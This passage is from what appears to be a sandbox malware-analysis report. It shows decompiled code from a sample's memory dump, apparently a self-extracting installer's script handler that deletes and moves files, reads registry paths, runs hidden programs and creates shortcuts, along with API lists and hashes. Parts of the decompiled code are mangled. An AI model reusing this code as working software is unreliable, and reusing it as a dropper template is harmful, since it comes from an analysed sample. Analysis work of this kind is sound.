									 *((intOrPtr*)(_t130 + 4)) =  *_t48 - _v52 + _t129;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t130 + 8)) =  *((intOrPtr*)(_t130 + 8)) + 1;
													 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E0087494C(_t130, _t115, _v8 ^ _t131, _t128, _t129, _t130);
			}

0x00884025
0x0088402c
0x0088402f
0x00884037
0x0088403b
0x00884047
0x0088404a
0x0088404d
0x00884054
0x0088405c
0x0088405f
0x00884065
0x0088406b
0x00884070
0x00884072
0x00884075
0x0088407a
0x00884084
0x0088408b
0x0088408e
0x00884095
0x0088409c
0x008840b7
0x008840bf
0x008840c8
0x008840ee
0x008840f0
0x00000000
0x008840ca
0x008840cd
0x00884194
0x008841a0
0x008841ab
0x008841b0
0x008840d3
0x008840da
0x008840df
0x008840e5
0x008840eb
0x00000000
0x008840eb
0x008840e5
0x008840cd
0x0088409e
0x008840a2
0x008840a5
0x008840ab
0x008840ad
0x008840b0
0x008840b4
0x008840f1
0x008840f4
0x008840f5
0x008840fa
0x00884100
0x00884106
0x00884115
0x0088411b
0x00884121
0x00884126
0x00884142
0x008841b5
0x008841bb
0x00884144
0x00884144
0x0088414c
0x00884155
0x0088415b
0x00000000
0x0088415d
0x0088415f
0x00884162
0x0088417b
0x00000000
0x0088417d
0x00884181
0x00884183
0x00884186
0x00000000
0x00884186
0x00884181
0x0088417b
0x0088415b
0x00884155
0x00884142
0x00884126
0x00884100
0x00000000
0x00884189
0x00884189
0x008841bd
0x008841cf

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00884792,00000000,00000000,00000000,00000000,00000000,00879B37), ref: 0088405F
__fassign.LIBCMT ref: 008840DA
__fassign.LIBCMT ref: 008840F5
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0088411B
WriteFile.KERNEL32(?,00000000,00000000,00884792,00000000,?,?,?,?,?,?,?,?,?,00884792,00000000), ref: 0088413A
WriteFile.KERNEL32(?,00000000,00000001,00884792,00000000,?,?,?,?,?,?,?,?,?,00884792,00000000), ref: 00884173

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 1f7b2abab22ae7dedb9c73626ec06fbfdf7e9437f1da5cf9e24e662ed9b3eabf
Instruction ID: fbaddf0601ea7153c8121d340cf02d2cbb0bf699621775a731de02bb09cd888d
Opcode Fuzzy Hash: 1f7b2abab22ae7dedb9c73626ec06fbfdf7e9437f1da5cf9e24e662ed9b3eabf
Instruction Fuzzy Hash: D651E776A0020ADFCB14DFA8DC85AEEBBF8FF18314F14411AE955E7291D7309984CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00871EC5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00871EC5(intOrPtr __ebx, void* __ecx, void* __edx) {
				intOrPtr _t225;
				void* _t226;
				signed int _t292;
				void* _t294;
				signed int _t295;
				void* _t299;

				L0:
				while(1) {
					L0:
					if(__ebx != 1) {
						goto L123;
					}
					L107:
					__eax = __ebp - 0x788c;
					__edi = 0x800;
					GetTempPathW(0x800, __ebp - 0x788c) = __ebp - 0x788c;
					__eax = E0086316F(__eflags, __ebp - 0x788c, 0x800);
					__ebx = 0;
					__esi = 0;
					_push(0);
					while(1) {
						L109:
						_push( *0x893604);
						__ebp - 0x788c = E008639A9(0x8afa3a, __edi, L"%s%s%u", __ebp - 0x788c);
						__eax = E00862680(0x8afa3a);
						__eflags = __al;
						if(__al == 0) {
							break;
						}
						L108:
						__esi =  &(__esi->i);
						__eflags = __esi;
						_push(__esi);
					}
					L110:
					__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x8afa3a);
					__eflags =  *(__ebp - 0x588c) - __bx;
					if( *(__ebp - 0x588c) == __bx) {
						while(1) {
							L175:
							_push(0x1000);
							_t213 = _t299 - 0x15; // 0xffffa75f
							_t214 = _t299 - 0xd; // 0xffffa767
							_t215 = _t299 - 0x588c; // 0xffff4ee8
							_t216 = _t299 - 0xf894; // 0xfffeaee0
							_push( *((intOrPtr*)(_t299 + 0xc)));
							_t225 = E00870354(0x800, _t299);
							_t277 =  *((intOrPtr*)(_t299 + 0x10));
							 *((intOrPtr*)(_t299 + 0xc)) = _t225;
							if(_t225 != 0) {
								_t226 = _t299 - 0x588c;
								_t294 = _t299 - 0x1b894;
								_t292 = 6;
								goto L2;
							} else {
								break;
							}
							L4:
							while(E00867D24(_t299 - 0xf894,  *((intOrPtr*)(0x893624 + _t295 * 4))) != 0) {
								_t295 = _t295 + 1;
								if(_t295 < 0xe) {
									continue;
								} else {
									goto L175;
								}
							}
							__eflags = _t295 - 0xd;
							if(__eflags > 0) {
								continue;
							}
							L8:
							switch( *((intOrPtr*)(_t295 * 4 +  &M00872459))) {
								case 0:
									L9:
									__eflags = _t277 - 2;
									if(_t277 == 2) {
										E0086F86D(_t299 - 0x788c, 0x800);
										E008629A2(E00863793(__eflags, _t299 - 0x788c, _t299 - 0x588c, _t299 - 0xd894, 0x800), _t277, _t299 - 0x8894, _t295);
										 *(_t299 - 4) = 0;
										E00862ADC(_t299 - 0x8894, _t299 - 0xd894);
										E00861AC3(_t299 - 0x388c);
										while(1) {
											L23:
											_push(0);
											_t240 = E00862A2F(_t299 - 0x8894, _t299 - 0x388c);
											__eflags = _t240;
											if(_t240 == 0) {
												break;
											}
											L11:
											SetFileAttributesW(_t299 - 0x388c, 0);
											__eflags =  *(_t299 - 0x2880);
											if(__eflags == 0) {
												L16:
												_t244 = GetFileAttributesW(_t299 - 0x388c);
												__eflags = _t244 - 0xffffffff;
												if(_t244 == 0xffffffff) {
													continue;
												}
												L17:
												_t246 = DeleteFileW(_t299 - 0x388c);
												__eflags = _t246;
												if(_t246 != 0) {
													continue;
												} else {
													_t297 = 0;
													_push(0);
													goto L20;
													L20:
													E008639A9(_t299 - 0x1044, 0x800, L"%s.%d.tmp", _t299 - 0x388c);
													_t301 = _t301 + 0x14;
													_t251 = GetFileAttributesW(_t299 - 0x1044);
													__eflags = _t251 - 0xffffffff;
													if(_t251 != 0xffffffff) {
														_t297 = _t297 + 1;
														__eflags = _t297;
														_push(_t297);
														goto L20;
													} else {
														_t254 = MoveFileW(_t299 - 0x388c, _t299 - 0x1044);
														__eflags = _t254;
														if(_t254 != 0) {
															MoveFileExW(_t299 - 0x1044, 0, 4);
														}
														continue;
													}
												}
											}
											L12:
											E00863470(__eflags, _t299 - 0x788c, _t299 - 0x1044, 0x800);
											E0086316F(__eflags, _t299 - 0x1044, 0x800);
											_t298 = E00878793(_t299 - 0x788c);
											__eflags = _t298 - 4;
											if(_t298 < 4) {
												L14:
												_t265 = E00863754(_t299 - 0x588c);
												__eflags = _t265;
												if(_t265 != 0) {
													break;
												}
												L15:
												_t268 = E00878793(_t299 - 0x388c);
												__eflags = 0;
												 *((short*)(_t299 + _t268 * 2 - 0x388a)) = 0;
												E00874BD0(0x800, _t299 - 0x44, 0, 0x1e);
												_t301 = _t301 + 0x10;
												 *((intOrPtr*)(_t299 - 0x40)) = 3;
												_push(0x14);
												_pop(_t271);
												 *((short*)(_t299 - 0x34)) = _t271;
												 *((intOrPtr*)(_t299 - 0x3c)) = _t299 - 0x388c;
												_push(_t299 - 0x44);
												 *0x8c9050();
												goto L16;
											}
											L13:
											_t276 = E00878793(_t299 - 0x1044);
											__eflags = _t298 - _t276;
											if(_t298 > _t276) {
												goto L15;
											}
											goto L14;
										}
										L24:
										 *(_t299 - 4) =  *(_t299 - 4) | 0xffffffff;
										E008629B8(_t299 - 0x8894);
									}
									goto L175;
								case 1:
									L25:
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L175;
									} else {
										__eax =  *0x8c62dc;
										__eflags = __eax;
										__ebx = __ebx & 0xffffff00 | __eax == 0x00000000;
										__eflags = __eax;
										if(__eax != 0) {
											__eax =  *0x8c62dc;
											_pop(__ecx);
											_pop(__ecx);
										}
										__bh =  *((intOrPtr*)(__ebp - 0xd));
										__eflags = __bh;
										if(__eflags == 0) {
											__eax = __ebp + 0xc;
											_push(__ebp + 0xc);
											__esi = E008704CE(__ecx, __edx, __eflags);
											__eax =  *0x8c62dc;
										} else {
											__esi = __ebp - 0x588c;
										}
										__eflags = __bl;
										if(__bl == 0) {
											__edi = __eax;
										}
										L33:
										__eax = E00878793(__esi);
										__eax = __eax + __edi;
										_push(__eax);
										_push( *0x8c62dc); // executed
										__eax = L0087AA36(__ecx, __edx); // executed
										__esp = __esp + 0xc;
										__eflags = __eax;
										if(__eax == 0) {
											L37:
											__eflags = __bh;
											if(__bh == 0) {
												__eax = L008787AE(__esi);
											}
											goto L175;
										}
										L34:
										 *0x8c62dc = __eax;
										__eflags = __bl;
										if(__bl != 0) {
											__ecx = 0;
											__eflags = 0;
											 *__eax = __cx;
										}
										L36:
										__eax = E0087C007(__eax, __esi);
										_pop(__ecx);
										_pop(__ecx);
										goto L37;
									}
								case 2:
									L39:
									__eflags = __ebx;
									if(__ebx == 0) {
										__ebp - 0x588c = SetWindowTextW( *(__ebp + 8), __ebp - 0x588c); // executed
									}
									goto L175;
								case 3:
									L41:
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L175;
									}
									L42:
									__eflags =  *0x8b0a42 - __di;
									if( *0x8b0a42 != __di) {
										goto L175;
									}
									L43:
									__eax = 0;
									__edi = __ebp - 0x588c;
									_push(0x22);
									 *(__ebp - 0x1044) = __ax;
									_pop(__eax);
									__eflags =  *(__ebp - 0x588c) - __ax;
									if( *(__ebp - 0x588c) == __ax) {
										__edi = __ebp - 0x588a;
									}
									__eax = E00878793(__edi);
									__esi = 0x800;
									__eflags = __eax - 0x800;
									if(__eax >= 0x800) {
										goto L175;
									} else {
										L46:
										__eax =  *__edi & 0x0000ffff;
										_push(0x5c);
										_pop(__ecx);
										__eflags = ( *__edi & 0x0000ffff) - 0x2e;
										if(( *__edi & 0x0000ffff) != 0x2e) {
											L50:
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L62:
												__ebp - 0x1044 = E008668CD(__ebp - 0x1044, __edi, __esi);
												__ebx = 0;
												__eflags = 0;
												L63:
												_push(0x22);
												_pop(__eax);
												__eax = __ebp - 0x1044;
												__eax = E008758CB(__ebp - 0x1044, __ebp - 0x1044);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__eflags =  *(__eax + 2) - __bx;
													if( *(__eax + 2) == __bx) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
												}
												__eax = __ebp - 0x1044;
												__edi = 0x8b0a42;
												E008668CD(0x8b0a42, __ebp - 0x1044, __esi) = __ebp - 0x1044;
												__eax = E008701F1(__ebp - 0x1044, __esi);
												__esi = GetDlgItem( *(__ebp + 8), 0x66);
												__ebp - 0x1044 = SetWindowTextW(__esi, __ebp - 0x1044); // executed
												__eax = SendMessageW(__esi, 0x143, __ebx, 0x8b0a42); // executed
												__eax = __ebp - 0x1044;
												__eax = E0087A890(__ebp - 0x1044, 0x8b0a42, __eax);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__ebp - 0x1044 = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x1044);
												}
												goto L175;
											}
											L51:
											__eflags = __ax;
											if(__ax == 0) {
												L53:
												__eax = __ebp - 0x1c;
												__ebx = 0;
												_push(__ebp - 0x1c);
												_push(1);
												_push(0);
												_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
												_push(0x80000002);
												__eax =  *0x8c9004();
												__eflags = __eax;
												if(__eax == 0) {
													__eax = __ebp - 0x14;
													 *(__ebp - 0x14) = 0x1000;
													_push(__ebp - 0x14);
													__eax = __ebp - 0x1044;
													_push(__ebp - 0x1044);
													__eax = __ebp - 0x24;
													_push(__ebp - 0x24);
													_push(0);
													_push(L"ProgramFilesDir");
													_push( *(__ebp - 0x1c));
													__eax =  *0x8c9000();
													_push( *(__ebp - 0x1c));
													 *0x8c900c() =  *(__ebp - 0x14);
													__ecx = 0x7ff;
													__eax =  *(__ebp - 0x14) >> 1;
													__eflags = __eax - 0x7ff;
													if(__eax >= 0x7ff) {
														__eax = 0x7ff;
													}
													__ecx = 0;
													__eflags = 0;
													 *(__ebp + __eax * 2 - 0x1044) = __cx;
												}
												__eflags =  *(__ebp - 0x1044) - __bx;
												if( *(__ebp - 0x1044) != __bx) {
													__eax = __ebp - 0x1044;
													__eax = E00878793(__ebp - 0x1044);
													_push(0x5c);
													_pop(__ecx);
													__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x1046)) - __cx;
													if(__eflags != 0) {
														__ebp - 0x1044 = E008668A5(__eflags, __ebp - 0x1044, "\\", __esi);
													}
												}
												__esi = E00878793(__edi);
												__eax = __ebp - 0x1044;
												__eflags = __esi - 0x7ff;
												__esi = 0x800;
												if(__eflags < 0) {
													__ebp - 0x1044 = E008668A5(__eflags, __ebp - 0x1044, __edi, 0x800);
												}
												goto L63;
											}
											L52:
											__eflags =  *((short*)(__edi + 2)) - 0x3a;
											if( *((short*)(__edi + 2)) == 0x3a) {
												goto L62;
											}
											goto L53;
										}
										L47:
										__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
										if( *((intOrPtr*)(__edi + 2)) != __cx) {
											goto L51;
										}
										L48:
										__edi = __edi + 4;
										__ebx = 0;
										__eflags =  *__edi - __bx;
										if( *__edi == __bx) {
											goto L175;
										}
										L49:
										__ebp - 0x1044 = E008668CD(__ebp - 0x1044, __edi, 0x800);
										goto L63;
									}
								case 4:
									L68:
									__eflags =  *0x8b0a3c - 1;
									__eflags = __eax - 0x8b0a3c;
									 *__edi =  *__edi + __ecx;
									__eflags =  *(__edx + 7) & __al;
									 *__eax =  *__eax + __al;
									__eflags =  *__eax;
								case 5:
									L73:
									__eax =  *(__ebp - 0x588c) & 0x0000ffff;
									__ecx = 0;
									__eax =  *(__ebp - 0x588c) & 0x0000ffff;
									__eflags = __eax;
									if(__eax == 0) {
										L80:
										 *0x8aea1f = __cl;
										 *0x8aea30 = 1;
										goto L175;
									}
									L74:
									__eax = __eax - 0x30;
									__eflags = __eax;
									if(__eax == 0) {
										L78:
										 *0x8aea1f = __cl;
										L79:
										 *0x8aea30 = __cl;
										goto L175;
									}
									L75:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax == 0) {
										goto L80;
									}
									L76:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax != 0) {
										goto L175;
									}
									L77:
									 *0x8aea1f = 1;
									goto L79;
								case 6:
									L86:
									__edi = 0;
									 *0x8b2b57 = 1;
									__edi = 1;
									__eax = __ebp - 0x588c;
									__eflags =  *(__ebp - 0x588c) - 0x3c;
									__ebx = __esi;
									 *(__ebp - 0x14) = __eax;
									if( *(__ebp - 0x588c) != 0x3c) {
										L97:
										__eflags =  *((intOrPtr*)(__ebp + 0x10)) - 5;
										if( *((intOrPtr*)(__ebp + 0x10)) != 5) {
											L100:
											__eflags =  *((intOrPtr*)(__ebp + 0x10)) - 4;
											if( *((intOrPtr*)(__ebp + 0x10)) != 4) {
												goto L175;
											}
											L101:
											__eflags = __ebx - 6;
											if(__ebx != 6) {
												goto L175;
											}
											L102:
											__ecx = 0;
											__eflags = 0;
											_push(0);
											L103:
											_push(__edi);
											_push(__eax);
											_push( *(__ebp + 8));
											__eax = E008727CF(__ebp);
											goto L175;
										}
										L98:
										__eflags = __ebx - 9;
										if(__ebx != 9) {
											goto L175;
										}
										L99:
										_push(1);
										goto L103;
									}
									L87:
									__eax = __ebp - 0x588a;
									_push(0x3e);
									_push(__ebp - 0x588a);
									__eax = E008750E0(__ecx);
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax == 0) {
										L96:
										__eax =  *(__ebp - 0x14);
										goto L97;
									}
									L88:
									_t103 = __eax + 2; // 0x2
									__ecx = _t103;
									 *(__ebp - 0x14) = _t103;
									__ecx = 0;
									 *__eax = __cx;
									__eax = __ebp - 0x10c;
									_push(0x64);
									_push(__ebp - 0x10c);
									__eax = __ebp - 0x588a;
									_push(__ebp - 0x588a);
									__eax = E008700F6();
									 *(__ebp - 0x20) = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										goto L96;
									}
									L89:
									__esi = __eax;
									while(1) {
										L90:
										__eflags =  *(__ebp - 0x10c);
										if( *(__ebp - 0x10c) == 0) {
											goto L96;
										}
										L91:
										__eax = __ebp - 0x10c;
										__eax = E00867D24(__ebp - 0x10c, L"HIDE");
										__eax =  ~__eax;
										asm("sbb eax, eax");
										__edi = __edi & __eax;
										__eax = __ebp - 0x10c;
										__eax = E00867D24(__ebp - 0x10c, L"MAX");
										__eflags = __eax;
										if(__eax == 0) {
											_push(3);
											_pop(__edi);
										}
										__eax = __ebp - 0x10c;
										__eax = E00867D24(__ebp - 0x10c, L"MIN");
										__eflags = __eax;
										if(__eax == 0) {
											_push(6);
											_pop(__edi);
										}
										_push(0x64);
										__eax = __ebp - 0x10c;
										_push(__ebp - 0x10c);
										_push(__esi);
										__esi = E008700F6();
										__eflags = __esi;
										if(__esi != 0) {
											continue;
										} else {
											goto L96;
										}
									}
									goto L96;
								case 7:
									goto L0;
								case 8:
									L127:
									__eflags = __ebx - 3;
									if(__ebx == 3) {
										__eflags =  *(__ebp - 0x588c) - __di;
										if(__eflags != 0) {
											__eax = __ebp - 0x588c;
											_push(__ebp - 0x588c);
											__eax = E0087BFA6(__ebx, __edi);
											_pop(__ecx);
											 *0x8c62e4 = __eax;
										}
										__eax = __ebp + 0xc;
										_push(__ebp + 0xc);
										 *0x8c62e0 = E008704CE(__ecx, __edx, __eflags);
									}
									 *0x8b2b56 = 1;
									goto L175;
								case 9:
									L132:
									__eflags = __ebx - 6;
									if(__ebx != 6) {
										goto L175;
									}
									L133:
									__eax = 0;
									 *(__ebp - 0x2844) = __ax;
									__eax =  *(__ebp - 0x1b894) & 0x0000ffff;
									__eax = E0087C36A( *(__ebp - 0x1b894) & 0x0000ffff);
									__eflags = __eax - 0x50;
									if(__eax == 0x50) {
										 *(__ebp - 0x14) = 2;
										__eax = 0x8c31ca;
									} else {
										__eflags = __eax - 0x54;
										if(__eax == 0x54) {
											 *(__ebp - 0x14) = 7;
											__eax = 0x8c21ca;
										} else {
											 *(__ebp - 0x14) = 0x10;
											__eax = 0x8c41ca;
										}
									}
									__esi = 0x800;
									__ebp - 0x2844 = E008668CD(__ebp - 0x2844, __ebp - 0x2844, 0x800);
									__eax = 0;
									 *(__ebp - 0x9894) = __ax;
									 *(__ebp - 0x1844) = __ax;
									__ebp - 0x19894 = __ebp - 0x688c;
									__eax = E008668CD(__ebp - 0x688c, __ebp - 0x19894, 0x800);
									_push(0x22);
									_pop(__ebx);
									__eflags =  *(__ebp - 0x688c) - __bx;
									if( *(__ebp - 0x688c) != __bx) {
										L141:
										__ebp - 0x688c = E00862680(__ebp - 0x688c);
										__eflags = __al;
										if(__al != 0) {
											goto L160;
										}
										L142:
										__ax =  *(__ebp - 0x688c);
										__esi = __ebp - 0x688c;
										__ebx = __edi;
										__eflags = __ax;
										if(__ax == 0) {
											L159:
											__esi = 0x800;
											goto L160;
										}
										L143:
										__edi = __ax & 0x0000ffff;
										do {
											L144:
											_push(0x20);
											_pop(__eax);
											__eflags = __di - __ax;
											if(__di == __ax) {
												L146:
												__eax = 0;
												__esi->i = __ax;
												__ebp - 0x688c = E00862680(__ebp - 0x688c);
												__eflags = __al;
												if(__al == 0) {
													L155:
													__esi->i = __di;
													goto L156;
												}
												L147:
												__ebp - 0x688c = E00862692(__ebp - 0x688c);
												__eax = E008626ED(__eax);
												__eflags = __al;
												if(__al != 0) {
													goto L155;
												}
												L148:
												_push(0x2f);
												_pop(__ecx);
												__eax =  &(__esi->i);
												__ebx = __esi;
												__eflags = __di - __cx;
												if(__di != __cx) {
													L150:
													_push(0x20);
													__esi = __eax;
													_pop(__eax);
													while(1) {
														L152:
														__eflags = __esi->i - __ax;
														if(__esi->i != __ax) {
															break;
														}
														L151:
														__esi =  &(__esi->i);
														__eflags = __esi;
													}
													L153:
													__ecx = __ebp - 0x1844;
													__eax = __esi;
													__edx = 0x400;
													L154:
													__eax = E008668CD(__ecx, __eax, __edx);
													 *__ebx = __di;
													goto L156;
												}
												L149:
												 *(__ebp - 0x1844) = __cx;
												__edx = 0x3ff;
												__ecx = __ebp - 0x1842;
												goto L154;
											}
											L145:
											_push(0x2f);
											_pop(__eax);
											__eflags = __di - __ax;
											if(__di != __ax) {
												goto L156;
											}
											goto L146;
											L156:
											__esi =  &(__esi->i);
											__eax = __esi->i & 0x0000ffff;
											__edi = __esi->i & 0x0000ffff;
											__eflags = __ax;
										} while (__ax != 0);
										__esi = 0x800;
										__eflags = __ebx;
										if(__ebx != 0) {
											__eax = 0;
											 *__ebx = __ax;
										}
										goto L160;
									} else {
										L139:
										__ebp - 0x19892 = __ebp - 0x688c;
										E008668CD(__ebp - 0x688c, __ebp - 0x19892, 0x800) = __ebp - 0x688a;
										_push(__ebx);
										_push(__ebp - 0x688a);
										__eax = E008750E0(__ecx);
										_pop(__ecx);
										_pop(__ecx);
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = 0;
											 *__eax = __cx;
											__ebp - 0x1844 = E008668CD(__ebp - 0x1844, __ebp - 0x1844, 0x400);
										}
										L160:
										__eflags =  *((short*)(__ebp - 0x11894));
										if( *((short*)(__ebp - 0x11894)) != 0) {
											__ebp - 0x9894 = __ebp - 0x11894;
											__eax = E008631A3(__ebp - 0x11894, __ebp - 0x9894, __esi);
										}
										__ebp - 0xb894 = __ebp - 0x688c;
										__eax = E008631A3(__ebp - 0x688c, __ebp - 0xb894, __esi);
										__eflags =  *(__ebp - 0x2844);
										if(__eflags == 0) {
											__ebp - 0x2844 = E00870465(__ecx, __ebp - 0x2844,  *(__ebp - 0x14));
										}
										__ebp - 0x2844 = E0086316F(__eflags, __ebp - 0x2844, __esi);
										__eflags =  *((short*)(__ebp - 0x17894));
										if(__eflags != 0) {
											__ebp - 0x17894 = __ebp - 0x2844;
											E008668A5(__eflags, __ebp - 0x2844, __ebp - 0x17894, __esi) = __ebp - 0x2844;
											__eax = E0086316F(__eflags, __ebp - 0x2844, __esi);
										}
										__ebp - 0x2844 = __ebp - 0xc894;
										__eax = E008668CD(__ebp - 0xc894, __ebp - 0x2844, __esi);
										__eflags =  *(__ebp - 0x13894);
										__eax = __ebp - 0x13894;
										if(__eflags == 0) {
											__eax = __ebp - 0x19894;
										}
										__ebp - 0x2844 = E008668A5(__eflags, __ebp - 0x2844, __ebp - 0x2844, __esi);
										__eax = __ebp - 0x2844;
										__eflags = E0086340C(__ebp - 0x2844);
										if(__eflags == 0) {
											L170:
											__ebp - 0x2844 = E008668A5(__eflags, __ebp - 0x2844, L".lnk", __esi);
											goto L171;
										} else {
											L169:
											__eflags = __eax;
											if(__eflags == 0) {
												L171:
												__ebx = 0;
												__ebp - 0x2844 = E00862551(0, __ecx, __edi, __ebp, __ebp - 0x2844, 1, 0);
												__ebp - 0xb894 = __ebp - 0xa894;
												E008668CD(__ebp - 0xa894, __ebp - 0xb894, __esi) = __ebp - 0xa894;
												__eax = E008638D1(__eflags, __ebp - 0xa894);
												__esi =  *(__ebp - 0x1844) & 0x0000ffff;
												__eax = __ebp - 0x1844;
												__edx =  *(__ebp - 0x9894) & 0x0000ffff;
												__edi = __ebp - 0xa894;
												__ecx =  *(__ebp - 0x15894) & 0x0000ffff;
												__esi =  ~( *(__ebp - 0x1844) & 0x0000ffff);
												asm("sbb esi, esi");
												__esi =  ~( *(__ebp - 0x1844) & 0x0000ffff) & __ebp - 0x00001844;
												__edx =  ~( *(__ebp - 0x9894) & 0x0000ffff);
												__eax = __ebp - 0x9894;
												asm("sbb edx, edx");
												__edx =  ~( *(__ebp - 0x9894) & 0x0000ffff) & __ebp - 0x00009894;
												__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff);
												__eax = __ebp - 0x15894;
												asm("sbb ecx, ecx");
												__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894;
												 *(__ebp - 0xa894) & 0x0000ffff =  ~( *(__ebp - 0xa894) & 0x0000ffff);
												asm("sbb eax, eax");
												 ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi = __ebp - 0x2844;
												__ebp - 0xb894 = E0086F6AA( ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894, 0, __ebp - 0xb894, __ebp - 0x2844,  ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi, __ecx,  ~( *(__ebp - 0x9894) & 0x0000ffff) & __ebp - 0x00009894, __esi);
												__eflags =  *(__ebp - 0xc894) - __bx;
												if( *(__ebp - 0xc894) != __bx) {
													_push(0);
													__eax = __ebp - 0xc894;
													_push(__ebp - 0xc894);
													_push(5);
													_push(0x1000);
													__eax =  *0x8c9060();
												}
												goto L175;
											}
											goto L170;
										}
									}
								case 0xa:
									L173:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										 *0x8b0a40 = 1;
									}
									goto L175;
								case 0xb:
									L81:
									__eax =  *(__ebp - 0x588c) & 0x0000ffff;
									__eax = E0087C36A( *(__ebp - 0x588c) & 0x0000ffff);
									__eflags = __eax - 0x46;
									if(__eax == 0x46) {
										 *0x8aea31 = 1;
									} else {
										__eflags = __eax - 0x55;
										if(__eax == 0x55) {
											 *0x8aea32 = 1;
										} else {
											__eax = 0;
											 *0x8aea31 = __al;
											 *0x8aea32 = __al;
										}
									}
									goto L175;
								case 0xc:
									L104:
									 *0x8be1c2 = 1;
									__eax = __eax + 0x8be1c2;
									_t117 = __esi + 0x39;
									 *_t117 =  *(__esi + 0x39) + __esp;
									__eflags =  *_t117;
									__ebp = 0xffffa774;
									if( *_t117 != 0) {
										_t119 = __ebp - 0x588c; // 0xffff4ee8
										__eax = _t119;
										 *0x893608 = E00867D10(_t119);
									}
									goto L175;
							}
							L2:
							_push(0x1000);
							_push(_t294);
							_push(_t226);
							_t226 = E008700F6();
							_t294 = _t294 + 0x2000;
							_t292 = _t292 - 1;
							if(_t292 != 0) {
								goto L2;
							} else {
								_t295 = _t292;
								goto L4;
							}
						}
						L176:
						 *[fs:0x0] =  *((intOrPtr*)(_t299 - 0xc));
						return _t225;
					}
					L111:
					__eflags =  *0x8b2b55 - __bl;
					if( *0x8b2b55 != __bl) {
						goto L175;
					}
					L112:
					__eax = 0;
					 *(__ebp - 0x444) = __ax;
					__eax = __ebp - 0x588c;
					_push(__ebp - 0x588c);
					__eax = E008750E0(__ecx);
					_pop(__ecx);
					__ecx = 0x2c;
					__eflags = __eax;
					if(__eax != 0) {
						L119:
						__eflags =  *(__ebp - 0x444) - __bx;
						if( *(__ebp - 0x444) == __bx) {
							__ebp - 0x1b894 = __ebp - 0x588c;
							E008668CD(__ebp - 0x588c, __ebp - 0x1b894, 0x1000) = __ebp - 0x19894;
							__ebp - 0x444 = E008668CD(__ebp - 0x444, __ebp - 0x19894, 0x200);
						}
						__ebp - 0x588c = E0086FF30(__ebp - 0x588c);
						__eax = 0;
						 *(__ebp - 0x488c) = __ax;
						__ebp - 0x444 = __ebp - 0x588c;
						__eax = E0086FA04( *(__ebp + 8), __ebp - 0x588c, __ebp - 0x444, 0x24);
						__eflags = __eax - 6;
						if(__eax != 6) {
							__eax = 0;
							 *0x8aea1c = 1;
							 *0x8afa3a = __ax;
							__eax = EndDialog( *(__ebp + 8), 1);
						}
						goto L175;
					}
					L113:
					__ax =  *(__ebp - 0x588c);
					__esi = __ebx;
					__eflags = __ax;
					if(__ax == 0) {
						goto L119;
					}
					L114:
					__ecx = __ax & 0x0000ffff;
					while(1) {
						L115:
						__eflags = __cx - 0x40;
						if(__cx == 0x40) {
							break;
						}
						L116:
						__eax =  *(__ebp + __esi * 2 - 0x588a) & 0x0000ffff;
						__esi =  &(__esi->i);
						__ecx = __eax;
						__eflags = __ax;
						if(__ax != 0) {
							continue;
						}
						L117:
						goto L119;
					}
					L118:
					__ebp - 0x588a = __ebp - 0x588a + __esi * 2;
					__ebp - 0x444 = E008668CD(__ebp - 0x444, __ebp - 0x444, 0x200);
					__eax = 0;
					__eflags = 0;
